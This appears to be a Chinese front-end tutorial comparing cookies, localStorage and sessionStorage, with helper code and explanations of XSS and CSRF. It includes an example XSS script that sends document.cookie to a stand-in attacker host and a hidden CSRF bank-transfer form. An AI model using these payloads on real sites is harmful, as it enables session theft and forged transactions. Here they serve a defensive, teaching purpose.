一张图看懂cookie、localStorage和sessionStorage之间的区别。
(1)cookie 可以被服务器设置。
(2)浏览器每次请求会自动带上 cookie。
(3)存在跨域问题。
cookie可以设置Name,Value,Domain,Path,Expires,HttpOnly,Secure,SameSite等。
HttpOnly
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。
Secure
Secure只允许 cookie 在 HTTPS 请求中被使用。
SameSite
Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。
cookie 的SameSite属性用来限制第三方 cookie ,从而减少安全风险。
它可以设置三个值。Strict(严格) Lax(宽松) None(无)
XSS(Cross Site Scripting)被称为跨站脚本攻击,是最普遍的Web应用安全漏洞。比如你在一个论坛,这个论坛有个 bug:不会对发布内容中的 HTML 标签进行过滤。
某一天,一个恶意用户发了个帖子,内容如下:
<script>window.open("atacker.com?cookie=" + document.cookie</script>
当你访问这条帖子的内容时,浏览器就会执行 script 中的代码,导致你的 cookie 被发送给攻击者,接着攻击者就可以利用你的 cookie 登录论坛,然后为所欲为了。
XSS 攻击在很多情况下,用户甚至不会知道自己被攻击了,比如利用 img的 src 属性,就可以做到悄无声息的把用户的信息发给攻击者。
而当设置了 HttpOnly 后,ducoment.cookie 将获取不到 cookie,攻击者的代码自然就无法生效了。
//设置
function setCookie(name, value, time) {
let expireTime = time || 30;
let today = new Date();
today.setTime(today.getTime() + expireTime * 24 * 60 * 60 * 1000); //换算成毫秒
document.cookie = name + "=" + escape(value) + ";path=/;expires=" + today.toGMTString();
}
//获取
function getCookie(name){
var strCookie = document.cookie;//获取cookie字符串
var arrCookie = strCookie.split("; ");//分割
//遍历匹配
for ( var i = 0; i < arrCookie .length; i++) {
var arr = arrCookie[i].split("=");
if (arr[0] == name){
return arr[1];
}
}
return "";
}
//删除
function delCookie(name) {
let today = new Date();
today.setTime(today.getTime() - 1);
let value = getCookie(name);
value && (document.cookie = name + "=" + value+ ";path=/;expires=" + today.toGMTString())
}
如何设置第二天过期?
function setExpireTime(n){
var ctuskytime = new Date();
ctuskytime.setDate( ctuskytime.getDate()+1);
ctuskytime.setHours(0);
ctuskytime.setMinutes(0);
ctuskytime.setSeconds(0);
document.cookie="ctuskytime_cookie;expires="+ctuskytime.toGMTString();
}
总而言之,cookie 在今天的适用场景其实比较有限,当你需要在本地储存数据时,由于安全性和储存空间的问题,一般不推荐使用 cookie,大部分情况下使用 Web Storage 是个更好的选择。
Web Storage分为localStorage与sessionStorage。
使用key和value,以字符串形式存储,一般为5M,各个浏览器有所不同,使用起来简单方便。localStorage的信息会被一直存储,除非被手动清除;sessionStorage仅在当前会话有效,关闭浏览器则被清除。
1.储存空间更大,使用更方便。
2.cookie 可以被服务器设置,而Web Storage只能浏览器端设置。
3.cookie 的数据会由浏览器自动发给服务器(但需设置cookie的domain、path参数),Web Storage 需要手动取出来放到请求里面才会发给服务器,因此可以避免 CSRF 攻击。
CSRF(Cross-site request forgery) 攻击被称为跨站请求伪造。
假设你在浏览器中登录过某个银行 bank.com,这个银行系统使用 cookie 来保存你的登录状态。接着你访问了一个恶意网站,该网站中有一个表单:
<form action="bank.com/transfer" method="post">
<input type="hidden" name="amount" value="100000.00"/>
<input type="hidden" name="target" value="attacker"/>
<input type="submit" value="点击就送美女!"/>
form>
(假设 bank.com/transfer 是用来转账的接口)
当你被诱导点下了提交按钮后:
由于 form 表单提交是可以跨域的,你将会对 bank.com/transfer 发起一次post 请求。
由于此前你已经登录过 bank.com,浏览器会自动将你的 cookie 一并发送过去(即使你当前并未处于银行系统的页面)。
bank.com 收到你的带 cookie 的请求后,认为你是正常登录了的,导致转账成功进行。
最终你损失了一大笔钱。
注意即使用 cookie 配合 HTTPS 请求,CSRF 攻击也无法被避免,因为 HTTPS 请求只是对传输的数据进行了加密,而 CSRF 攻击的特点是,诱导你去访问某个需要你的权限的接口,HTTPS 并不能阻止这种访问。
这里的 CSRF 攻击的核心,就是利用了浏览器会自动在所有请求里带上 Cookie 的特性。
因此,localStorage 比较常见的一个替代 cookie 的场景就是登录态的保持,比如用 token 的方法加上 HTTPS 请求,就可以很大程度上提高登录的安全性,避免被 CSRF 攻击(但是依然无法完全避免被 XSS 攻击的风险)。
大概工作流程就是,用户登录后,从服务器拿到一个 token,然后存进 localStorage 里,之后每次请求前都从 localStorage 里取出 token,放到请求数据里,服务器就能知道是同一个用户在发起请求了;由于 HTTPS 的存在,也不用担心 token 会被泄露给第三方,因此是很安全的。
localStorage与sessionStorage用法一样,以localStorage为例
const storage = window.localStorage;
storage.setItem(key,value);
storage.getItem(key);
storage.removeItem(key);
storage.clear();
localStorage与sessionStorage里存的是字符串形式,若存的类型是object,存时需要使用JSON.stringify,取出来时JSON.parse转换下
//存储
function setSession(key,value){
if(typeof value == "object"){
value = JSON.stringify(value);
}
sessionStorage.setItem(key, value);
}
//获取
function getSession(key){
let value = sessionStorage.getItem(key);
let json = JSON.parse(value);
if(typeof json == "object" && json){
return json;
}
return value;
}
//清除
function clearSession(){
sessionStorage.clear();
}
//判断是否有
function hasKey(key){
if(getSession(key) == "")
return false;
return true;
}
在大部分应用场景下,Web Storage已经能够完全替代cookie,但有些需要服务端设置cookie的情况下,例如广告这种情形,cookie还有自身的价值。但localStorage的存储空间并不大,并且存储只支持字符串,并不适合存储大量的数据和复杂的数据。这样就出现了IndexedDB,类似于后端数据库,因为我也没太用过,这里我就不多做阐述了。